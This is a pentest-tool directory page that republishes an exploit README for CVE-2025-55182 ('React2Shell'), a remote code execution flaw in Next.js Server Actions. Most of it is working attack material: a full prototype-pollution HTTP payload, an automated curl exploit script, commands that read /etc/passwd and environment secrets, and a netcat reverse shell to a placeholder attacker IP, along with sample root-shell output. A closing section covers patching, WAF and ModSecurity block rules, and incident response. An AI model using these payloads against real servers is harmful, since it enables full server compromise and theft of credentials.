Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
react2shell-exploit — CVE-2025-55182, also known as React2Shell, is a critical vulnerability affecting Next.js applications using React Server Components (RSC) and Server Actions. | Kitploit
Tools/GitHubGitHub/yannisduvignau/react2shell-exploit
ExploitationWeb Application ExploitationPenetration TestingLearning & EducationRemote Access ToolPayload Development
GitHubyannisduvignau/react2shell-exploit

react2shell-exploit

CVE-2025-55182, also known as React2Shell, is a critical vulnerability affecting Next.js applications using React Server Components (RSC) and Server Actions.

View Repository
43 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-55182 – React2Shell

Remote Code Execution in Next.js

⚠️ Disclaimer: This documentation is provided for educational and security research purposes only. Any unauthorized use of these techniques against systems you do not own or have explicit permission to test is illegal.


📋 Table of Contents

  1. Overview
  2. How It Works
  3. Installation & Setup
  4. Step-by-Step Exploitation
  5. Results & Impact
  6. Mitigation Strategies

Overview

CVE-2025-55182, also known as React2Shell, is a critical vulnerability affecting Next.js applications that use:

  • React Server Components (RSC)
  • Server Actions

Why Is It Dangerous?

An attacker can achieve Remote Code Execution (RCE) on the server by exploiting:

  1. Unsafe deserialization of RSC payloads
  • Prototype pollution via __proto__ and constructor
  • Dynamic execution paths in the Next.js server runtime
  • Consequence: Arbitrary system commands can be executed with the privileges of the Node.js process.


    How It Works

    Stage 1: Next.js RSC Protocol

    Next.js uses a proprietary multipart/form-data protocol to communicate between client and server:

    • The client sends React Server Components to the server
    • The server deserializes and processes them
    • The result is returned to the client
    root@kitploit:~
    Client (Browser)
        ↓
    [multipart/form-data RSC payload]
        ↓
    Next.js Server
        ↓
    Deserialization + Execution
        ↓
    Response
    

    Stage 2: The Weakness - Unsafe Deserialization

    The vulnerability exists because:

    1. User-controlled data is not validated before deserialization
    2. Prototype chain access is allowed (__proto__, constructor)
    3. Certain fields are evaluated dynamically during request processing

    Stage 3: Prototype Pollution Attack

    An attacker can craft a payload that modifies internal object properties:

    root@kitploit:~
    {
      "then": "$1:__proto__:then",  // Targets the prototype chain
      "_response": {
        "_prefix": "malicious code here"  // Code injection
      }
    }
    

    By exploiting __proto__, the attacker pollutes the prototype of JavaScript objects, affecting all objects that inherit from it.

    Stage 4: Code Injection

    Inside the _prefix field, the attacker injects JavaScript code that:

    1. Accesses the Node.js module via process.mainModule.require()
    2. Loads the child_process module
    3. Executes system commands using execSync()
    root@kitploit:~
    var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();
    

    Stage 5: Result Extraction

    The command result is hidden in the error response:

    root@kitploit:~
    throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});
    

    Next.js returns this error to the client, and the command output is visible in the digest field.


    Installation & Setup

    Prerequisites

    • Node.js 20
    • Burp Suite (or similar tool for request interception)
    • curl or Postman (for sending payloads)

    Step 1: Clone and Install Vulnerable Server

    root@kitploit:~
    # Clone the PoC
    git clone https://github.com/msanft/CVE-2025-55182.git
    mv CVE-2025-55182/test-server ./
    rm -rf CVE-2025-55182
    
    # Install Node.js 20
    nvm install 20
    nvm use 20
    
    # Install dependencies
    cd test-server
    npm install
    

    Step 2: Start the Server

    root@kitploit:~
    npm run dev
    

    The server is now accessible at:

    root@kitploit:~
    http://localhost:3000
    

    Step 3: Verify Server is Running

    root@kitploit:~
    curl http://localhost:3000/
    

    At this stage, the server behaves normally.


    Step-by-Step Exploitation

    Approach 1: Using Burp Suite (Manual Interception)

    Step 1: Enable Interception

    1. Open Burp Suite
    2. Go to Proxy → Intercept tab
    3. Enable Intercept is on
    4. Access http://localhost:3000/ in your browser

    Step 2: Intercept the Request

    A GET request will be intercepted. Send it to the Repeater tab:

    1. Right-click → Send to Repeater
    2. Go to the Repeater tab

    Step 3: Replace with Malicious Payload

    Replace the entire request with the following payload:

    root@kitploit:~
    POST / HTTP/1.1
    Host: localhost:3000
    Next-Action: x
    X-Nextjs-Request-Id: b5dce965
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
    X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
    Content-Length: 740
    
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
    Content-Disposition: form-data; name="0"
    
    {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": "{\"then\":\"$B1337\"}",
      "_response": {
        "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
        "_chunks": "$Q2",
        "_formData": {
          "get": "$1:constructor:constructor"
        }
      }
    }
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
    Content-Disposition: form-data; name="1"
    
    "$@0"
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
    Content-Disposition: form-data; name="2"
    
    []
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
    

    Step 4: Send the Request

    Click Send


    Approach 2: Automated Exploitation Script

    Create a file exploit.sh:

    root@kitploit:~
    #!/bin/bash
    
    TARGET_HOST="localhost"
    TARGET_PORT="3000"
    COMMAND="id"
    
    # Build the payload
    PAYLOAD=$(cat <<'EOF'
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
    Content-Disposition: form-data; name="0"
    
    {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": "{\"then\":\"$B1337\"}",
      "_response": {
        "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
        "_chunks": "$Q2",
        "_formData": {
          "get": "$1:constructor:constructor"
        }
      }
    }
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
    Content-Disposition: form-data; name="1"
    
    "$@0"
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
    Content-Disposition: form-data; name="2"
    
    []
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
    EOF
    )
    
    # Replace the command
    PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"
    
    # Send the request
    curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
      -H "Next-Action: x" \
      -H "X-Nextjs-Request-Id: b5dce965" \
      -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
      -H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
      --data-raw "$PAYLOAD"
    

    Make it executable:

    root@kitploit:~
    chmod +x exploit.sh
    ./exploit.sh
    

    Example Commands

    List Files and Directories

    root@kitploit:~
    COMMAND="ls -la /"
    

    Get Current User

    root@kitploit:~
    COMMAND="whoami"
    

    Read a File

    root@kitploit:~
    COMMAND="cat /etc/passwd"
    

    Check Network Connections

    root@kitploit:~
    COMMAND="netstat -tuln"
    

    Get Environment Variables

    root@kitploit:~
    COMMAND="env"
    

    Reverse Shell (Complete Server Access)

    To gain full interactive shell access, use a reverse shell.

    On the Attacker Machine: Listen for Connections

    root@kitploit:~
    ncat -lvnp 9009
    

    Or with netcat:

    root@kitploit:~
    nc -lvnp 9009
    

    On the Target: Send Reverse Shell Payload

    Modify the payload with the following command (replace <ATTACKER_IP> with your IP address):

    root@kitploit:~
    COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"
    

    The complete payload becomes:

    root@kitploit:~
    POST / HTTP/1.1
    Host: <TARGET_IP>:<TARGET_PORT>
    Next-Action: x
    X-Nextjs-Request-Id: b5dce965
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
    X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
    Content-Length: 821
    
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
    Content-Disposition: form-data; name="0"
    
    {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": "{\"then\":\"$B1337\"}",
      "_response": {
        "_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
        "_chunks": "$Q2",
        "_formData": {
          "get": "$1:constructor:constructor"
        }
      }
    }
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
    Content-Disposition: form-data; name="1"
    
    "$@0"
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
    Content-Disposition: form-data; name="2"
    
    []
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
    

    Expected Result

    root@kitploit:~
    ❯ ncat -lvnp 9009
    Ncat: Version 7.98 ( https://nmap.org/ncat )
    Ncat: Listening on [::]:9009
    Ncat: Listening on 0.0.0.0:9009
    Ncat: Connection from 10.100.0.169:51438.
    sh: no job control in this shell
    sh-3.2$ ls
    bin  boot  dev  etc  home  lib  ...
    sh-3.2$ whoami
    root
    sh-3.2$ cat /etc/passwd
    root:x:0:0:root:/root:/bin/bash
    ...
    

    You now have a fully interactive shell on the target server.


    Results & Impact

    Server Response

    Upon successful exploitation:

    1. The server responds with HTTP 500 Internal Server Error
    2. The response body contains the output of the executed system command
    3. The output is embedded in the digest field within the error response

    Example Response

    root@kitploit:~
    Error: NEXT_REDIRECT
    digest: uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

    Potential Impacts

    • 🔥 Complete Remote Code Execution (RCE)
    • 📂 Full filesystem access
    • 🔐 Credential and secret theft
    • 🚨 Lateral movement within internal networks
    • 💥 Complete server compromise
    • 🔗 Supply chain attacks (if used to compromise deployed applications)
    • 📊 Data exfiltration and manipulation

    Mitigation Strategies

    For System Administrators

    1. Update Next.js Immediately

    root@kitploit:~
    npm install next@latest
    

    Ensure you are running a patched version of Next.js. Check the official security advisories.

    2. Strict RSC Payload Validation

    Add strict validation of incoming RSC payloads:

    root@kitploit:~
    // middleware.ts
    import { NextRequest, NextResponse } from 'next/server';
    
    export function middleware(request: NextRequest) {
      // Reject suspicious payloads
      if (request.headers.get('content-type')?.includes('multipart/form-data')) {
        const bodyString = request.body?.toString() || '';
        
        // Block payloads containing dangerous patterns
        if (bodyString.includes('__proto__') || 
            bodyString.includes('constructor') ||
            bodyString.includes('child_process')) {
          console.error(`[SECURITY] Malicious payload attempt from ${request.ip}`);
          return new NextResponse('Forbidden', { status: 403 });
        }
      }
      
      return NextResponse.next();
    }
    
    export const config = {
      matcher: ['/:path*']
    };
    

    3. Disable Server Actions if Not Required

    In next.config.js:

    root@kitploit:~
    module.exports = {
      experimental: {
        serverActions: {
          enabled: false // Disable if not needed
        }
      }
    };
    

    4. Run Node.js with Minimal Privileges

    root@kitploit:~
    # Create a dedicated user
    useradd -r -s /bin/false nextjs
    
    # Run the service under this user
    sudo -u nextjs node server.js
    
    # Or with systemd
    # /etc/systemd/system/nextjs.service
    [Service]
    User=nextjs
    Group=nextjs
    ExecStart=/usr/bin/node /app/server.js
    

    5. Container Isolation with Reduced Capabilities

    Use Docker with restricted capabilities:

    root@kitploit:~
    FROM node:20-alpine
    
    # Create non-root user
    RUN addgroup -g 1001 -S nodejs
    RUN adduser -S nextjs -u 1001
    
    WORKDIR /app
    COPY package*.json ./
    RUN npm ci --only=production
    
    COPY . .
    
    USER nextjs
    
    EXPOSE 3000
    CMD ["node", "server.js"]
    

    Run the container with restricted capabilities:

    root@kitploit:~
    docker run \
      --cap-drop=ALL \
      --cap-add=NET_BIND_SERVICE \
      -u nextjs:nextjs \
      --security-opt=no-new-privileges \
      --read-only \
      --tmpfs /tmp \
      my-nextjs-app
    

    6. Monitor Suspicious Requests

    Implement comprehensive logging:

    root@kitploit:~
    // Custom logging middleware
    app.use((req, res, next) => {
      // Log all POST requests with Next-Action header
      if (req.method === 'POST' && req.headers['next-action']) {
        const suspiciousPatterns = ['__proto__', 'constructor', 'execSync', 'child_process'];
        const bodyString = JSON.stringify(req.body);
        
        const isSuspicious = suspiciousPatterns.some(pattern => bodyString.includes(pattern));
        
        if (isSuspicious) {
          console.error(`[SECURITY_ALERT] Exploit attempt detected from ${req.ip}`);
          console.error(`[SECURITY_ALERT] User-Agent: ${req.get('user-agent')}`);
          console.error(`[SECURITY_ALERT] Payload: ${bodyString.substring(0, 500)}`);
          
          // Alert security team
          // sendSecurityAlert(`Exploit attempt from ${req.ip}`);
          
          return res.status(403).json({ error: 'Forbidden' });
        }
      }
      
      next();
    });
    

    7. Deploy a Web Application Firewall (WAF)

    Configure your WAF to block:

    ModSecurity Rules:

    root@kitploit:~
    # Block __proto__ in request body
    SecRule REQUEST_BODY "@contains __proto__" \
      "id:1001,phase:2,deny,status:403,msg:'Prototype Pollution Attack'"
    
    # Block constructor in request body
    SecRule REQUEST_BODY "@contains constructor" \
      "id:1002,phase:2,deny,status:403,msg:'Prototype Pollution Attack'"
    
    # Block child_process module access
    SecRule REQUEST_BODY "@contains child_process" \
      "id:1003,phase:2,deny,status:403,msg:'Code Execution Attempt'"
    
    # Block execSync function
    SecRule REQUEST_BODY "@contains execSync" \
      "id:1004,phase:2,deny,status:403,msg:'Code Execution Attempt'"
    
    # Block require() statements
    SecRule REQUEST_BODY "@rx require\s*\(" \
      "id:1005,phase:2,deny,status:403,msg:'Module Loading Attempt'"
    

    AWS WAF Example:

    root@kitploit:~
    {
      "Name": "BlockRCEAttempts",
      "Rules": [
        {
          "Name": "BlockProtoPolluton",
          "Priority": 1,
          "Statement": {
            "ByteMatchStatement": {
              "FieldToMatch": { "Body": {} },
              "TextTransformations": [{ "Priority": 0, "Type": "LOWERCASE" }],
              "PositionalConstraint": "CONTAINS",
              "SearchString": "__proto__"
            }
          },
          "Action": { "Block": {} },
          "VisibilityConfig": {
            "SampledRequestsEnabled": true,
            "CloudWatchMetricsEnabled": true,
            "MetricName": "BlockProtoPolluton"
          }
        }
      ]
    }
    

    8. Content Security Policy (CSP) Headers

    While CSP primarily protects client-side, it's good practice:

    root@kitploit:~
    app.use((req, res, next) => {
      res.setHeader('X-Content-Type-Options', 'nosniff');
      res.setHeader('X-Frame-Options', 'DENY');
      res.setHeader('X-XSS-Protection', '1; mode=block');
      res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
      next();
    });
    

    9. Regular Security Audits

    root@kitploit:~
    # Scan dependencies for vulnerabilities
    npm audit
    npm audit fix
    
    # Use snyk for continuous monitoring
    snyk monitor
    
    # Regular penetration testing
    # Schedule quarterly security assessments
    

    10. Incident Response Plan

    If you suspect exploitation:

    root@kitploit:~
    # 1. Check logs for suspicious patterns
    grep -r "__proto__" /var/log/
    grep -r "child_process" /var/log/
    grep -r "execSync" /var/log/
    
    # 2. Check process history
    ps aux | grep node
    history | grep -E "(nc|ncat|bash)"
    
    # 3. Check network connections
    netstat -tuln
    lsof -i -P -n
    
    # 4. Isolate the affected system
    sudo iptables -I INPUT -j DROP
    
    # 5. Preserve evidence and logs
    tar -czf /backup/incident-$(date +%Y%m%d).tar.gz /var/log/
    
    # 6. Notify your security team and apply patches
    

    Technical Deep Dive

    The Payload Breakdown

    root@kitploit:~
    {
      // Step 1: Target the prototype chain
      "then": "$1:__proto__:then",
      
      // Step 2: Mark as resolved model
      "status": "resolved_model",
      "reason": -1,
      "value": "{\"then\":\"$B1337\"}",
      
      // Step 3: Inject code through _response
      "_response": {
        // The injected JavaScript code
        "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
        
        // Reference to form data
        "_chunks": "$Q2",
        
        // Access constructor through form data
        "_formData": {
          "get": "$1:constructor:constructor"
        }
      }
    }
    

    Why It Works

    1. Multipart parsing: Next.js parses the multipart form data
    2. Reference resolution: References like $1 are resolved to other form fields
    3. Object reconstruction: Objects are reconstructed from the parsed data
    4. Prototype pollution: The __proto__ path modifies the object prototype
    5. Code execution: The _prefix field is evaluated during error handling
    6. Command execution: execSync runs the arbitrary command
    7. Result exfiltration: The output is embedded in the error digest

    Additional Resources

    • Original PoC: https://github.com/msanft/CVE-2025-55182/
    • Next.js Security Documentation: https://nextjs.org/docs/security
    • OWASP Prototype Pollution: https://owasp.org/www-community/attacks/Prototype_pollution
    • Node.js Security Best Practices: https://nodejs.org/en/docs/guides/security/
    • CWE-502: Deserialization of Untrusted Data: https://cwe.mitre.org/data/definitions/502.html

    Conclusion

    CVE-2025-55182 (React2Shell) demonstrates critical risks associated with:

    ✅ Unsafe deserialization of user-controlled data ✅ Prototype pollution in JavaScript prototype chains ✅ Dynamic code execution without proper validation

    This vulnerability reinforces the importance of:

    • 🔒 Input validation: Never trust user input
    • 🛡️ Defense in depth: Use multiple layers of protection
    • ⚠️ Keeping frameworks updated: Apply security patches immediately
    • 🔍 Monitoring and logging: Detect suspicious behavior
    • 🔐 Least privilege principle: Run services with minimal permissions
    • 🧪 Regular security testing: Conduct audits and penetration tests

    License: Educational use only - Unauthorized access to computer systems is illegal.

    For legitimate security research and authorized testing, ensure you have written permission from the system owner before conducting any tests.

    Download Tool